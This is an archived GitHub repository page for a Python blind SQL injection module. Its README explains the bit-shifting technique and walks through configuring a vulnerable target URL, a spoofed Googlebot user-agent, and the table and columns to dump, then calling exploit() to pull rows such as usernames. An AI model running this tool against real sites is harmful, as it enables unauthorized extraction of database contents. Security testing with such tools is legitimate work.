• This repository has been archived on 08/Aug/2022
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  • Language
    Python
  • License
    MIT License
  • Created almost 9 years ago
  • Updated over 2 years ago

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Repository Details

A blind SQL injection module that uses bitshfting to calculate characters.

Blind SQL Injection via Bitshifting

This is a module that performs blind SQL injection by using the bitshifting method to calculate characters instead of guessing them. It requires 7/8 requests per character, depending on the configuration.

Usage

import blind-sql-bitshifting as x

# Edit this dictionary to configure attack vectors
x.options

Example configuration:

# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"

# Specify cookie (optional)
x.options["cookies"] = ""

# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""

# Boolean option for following redirections
x.options["follow_redirections"] = 0

# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

# Specify table to dump
x.options["table_name"] = "users"

# Specify columns to dump
x.options["columns"] = "id, username"

# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"

# See below
x.options["assume_only_ascii"] = 1

The assume_only_ascii option makes the module assume that the characters it's dumping are all ASCII. Since the ASCII charset only goes up to 127, we can set the first bit to 0 and not worry about calculating it. That's a 12.5% reduction in requests. Testing locally, this yielded an average speed increase of 15%. Of course this can cause issues when dumping chars that are outside of the ASCII range. By default, it's set to 0.

Once configured:

data = x.exploit()

This returns a 2-dimensional array, with each sub-array containing a single row, the first being the column headers.

Example output:

[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]

Optionally, your scripts can then harness the tabulate module to output the data:

from tabulate import tabulate

data = x.exploit()

print tabulate(data,
               headers='firstrow',  # This specifies to use the first row as the column headers.
               tablefmt='psql')     # Using the SQL output format. Other formats can be used.

This would output:

+------+------------+
|   id | username   |
|------+------------|
|    1 | user1      |
|    2 | user2      |
|    3 | user3      |
|    4 | user4      |
+------+------------+